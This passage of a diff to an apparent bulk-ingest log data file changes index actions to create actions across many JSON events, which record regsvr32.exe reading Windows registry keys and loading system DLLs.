"HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\WinTrust\\Trust Providers" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\ROOT", "value": "ROOT", "key": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\ROOT", "value": "ROOT", "key": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\AuthRoot", "value": "AuthRoot", "key": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root", "value": "Root", "key": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root", "value": "Root", "key": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\SmartCardRoot", "value": "SmartCardRoot", "key": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\CA", "value": "CA", "key": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\CA", "value": "CA", "key": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\CA", "value": "CA", "key": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\CA", "value": "CA", "key": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root", "value": "Root", "key": "HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\CA", "value": "CA", "key": "HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Content\\CachePrefix", "value": "CachePrefix", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Content" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Cookies\\CachePrefix", "value": "CachePrefix", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Cookies" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\History\\CachePrefix", "value": "CachePrefix", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\History" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\dnsapi.dll", "name": "dnsapi.dll" }, "@timestamp": 131883573238230000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", "value": "Parameters", "key": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", "value": "Parameters", "key": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", "value": "Parameters", "key": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\rasadhlp.dll", "name": "rasadhlp.dll" }, "@timestamp": 131883573238230000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", "value": "Parameters", "key": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", "value": "Parameters", "key": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", "value": "Parameters", "key": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", "value": "Parameters", "key": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\wininet.dll", "name": "wininet.dll" }, "@timestamp": 131883573237930000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\FWPUCLNT.DLL", "name": "FWPUCLNT.DLL" }, "@timestamp": 131883573238400000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\schannel.dll", "name": "schannel.dll" }, "@timestamp": 131883573238700016, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\System\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL", "value": "SCHANNEL", "key": "HKLM\\System\\CurrentControlSet\\Control\\SecurityProviders" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238700016, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\mskeyprotect.dll", "name": "mskeyprotect.dll" }, "@timestamp": 131883573238869984, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ncrypt.dll", "name": "ncrypt.dll" }, "@timestamp": 131883573238869984, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ntasn1.dll", "name": "ntasn1.dll" }, "@timestamp": 131883573238869984, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\WinTrust\\Trust Providers\\Software Publishing", "value": "Software Publishing", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\WinTrust\\Trust Providers" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\cryptnet.dll", "name": "cryptnet.dll" }, "@timestamp": 131883573238869984, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ncryptsslp.dll", "name": "ncryptsslp.dll" }, "@timestamp": 131883573239170000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\clbcatq.dll", "name": "clbcatq.dll" }, "@timestamp": 131883573240110000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\wldp.dll", "name": "wldp.dll" }, "@timestamp": 131883573240110000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\WinTrust\\Trust Providers\\Software Publishing", "value": "Software Publishing", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\WinTrust\\Trust Providers" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573240110000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\userenv.dll", "name": "userenv.dll" }, "@timestamp": 131883573240270000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\version.dll", "name": "version.dll" }, "@timestamp": 131883573240430000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\shell32.dll", "name": "shell32.dll" }, "@timestamp": 131883573240430000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\cfgmgr32.dll", "name": "cfgmgr32.dll" }, "@timestamp": 131883573240430000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\mpr.dll", "name": "mpr.dll" }, "@timestamp": 131883573240430000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sxs.dll", "name": "sxs.dll" }, "@timestamp": 131883573240580000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\gpapi.dll", "name": "gpapi.dll" }, "@timestamp": 131883573240580000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\OneCoreUAPCommonProxyStub.dll", "name": "OneCoreUAPCommonProxyStub.dll" }, "@timestamp": 131883573240740000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Desktop\\NameSpace", "value": "NameSpace", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Desktop" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573240740000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Desktop\\NameSpace", "value": "NameSpace", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Desktop" }, "process": { "name": "regsvr32.exe", "pid": 2012, 